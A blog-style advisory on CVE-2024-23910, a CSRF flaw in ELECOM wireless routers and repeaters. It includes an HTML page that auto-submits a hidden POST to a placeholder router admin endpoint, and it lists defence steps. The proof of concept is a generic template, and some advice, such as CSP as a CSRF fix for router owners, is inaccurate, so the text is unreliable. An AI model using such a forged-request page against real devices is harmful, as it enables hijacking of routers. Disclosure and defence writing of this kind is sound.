The common vulnerability and exposure (CVE) identifier CVE-2024-23910 refers to a cross-site request forgery (CSRF) vulnerability existing in the ELECOM wireless LAN routers and wireless LAN repeaters. This security vulnerability allows a remote unauthenticated attacker to hijack the authentication of administrators and perform unauthorized operations on the affected product. This long-read post will discuss the details and implications of this vulnerability, provide code snippets demonstrating how the exploit can be reproduced, and offer guidance on how to defend against the threat.

Original References

- Official CVE-2024-23910 Bulletin: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23910
- ELECOM Security Advisory: https://www.elecom.co.jp/global/security/info202402001/

Vulnerability Details

A cross-site request forgery (CSRF) allows an attacker to surreptitiously execute malicious actions on behalf of an authenticated user. This specific instance of CSRF vulnerability in ELECOM products gives attackers the ability to execute unauthorized tasks on certain wireless LAN routers and repeaters. The attack might lead to a complete compromise of the affected device, providing unauthorized access to sensitive data and enabling further attacks on the surrounding environment.

The following code snippet demonstrates a simple HTML form that exploits the CSRF vulnerability

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.">
    <title>CVE-2024-23910 Exploit</title>
    <script>
        function submitForm() {
            document.getElementById('csrf-exploit-form').submit();
        }
    </script>
</head>
<body onload="submitForm()">
    <h1>Exploiting CVE-2024-23910</h1>
    <form id="csrf-exploit-form" method="POST" action="http://ELECOM_ROUTER_IP_ADDRESS/cgi-bin/admin.cgi">;
        <input type="hidden" name="setting" value="malicious_setting">
        <input type="submit" value="Exploit">
    </form>
</body>
</html>

In this example, the form is designed to automatically send a POST request containing a malicious setting to an ELECOM router's admin page. When the administrator visits the malicious site hosting this code, the browser will automatically execute the form submission, potentially changing the router's configuration and compromising its security.

To defend against the CSRF vulnerability, users and administrators should take the following steps

1. Update affected ELECOM wireless LAN routers and repeaters to the latest firmware version. Visit ELECOM's support website for more information on available firmware updates: https://www.elecom.co.jp/global/support/download/

2. Use strong, unique passwords for router/repeater administration accounts to prevent unauthorized access and minimize potential damage from a successful CSRF attack.

3. Deploy Content Security Policy (CSP) headers on web applications to mitigate the risk of CSRF attacks. For more information on implementing CSP, refer to MDN's guide: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

4. Enable same-site cookie attributes for secure authentication sessions. This ensures that cookies are only sent when the request originates from the same domain, preventing unauthorized access.

5. Implement multi-factor authentication (MFA) for sensitive operations on the routers and repeaters, adding an additional layer of security and further reducing the risk of unauthorized access.

Conclusion

The CVE-2024-23910 CSRF vulnerability in ELECOM wireless LAN routers and repeaters is a serious security issue that can potentially lead to unauthorized access and manipulation of affected devices. As a result, administrators must take proactive steps to minimize the risk of exploitation. By keeping devices and software updated, implementing strong security policies, and deploying proper mitigation measures, they can effectively defend against the threats posed by this security vulnerability.

Timeline

Published on: 02/28/2024 23:15:09 UTC
Last modified on: 08/01/2024 13:47:21 UTC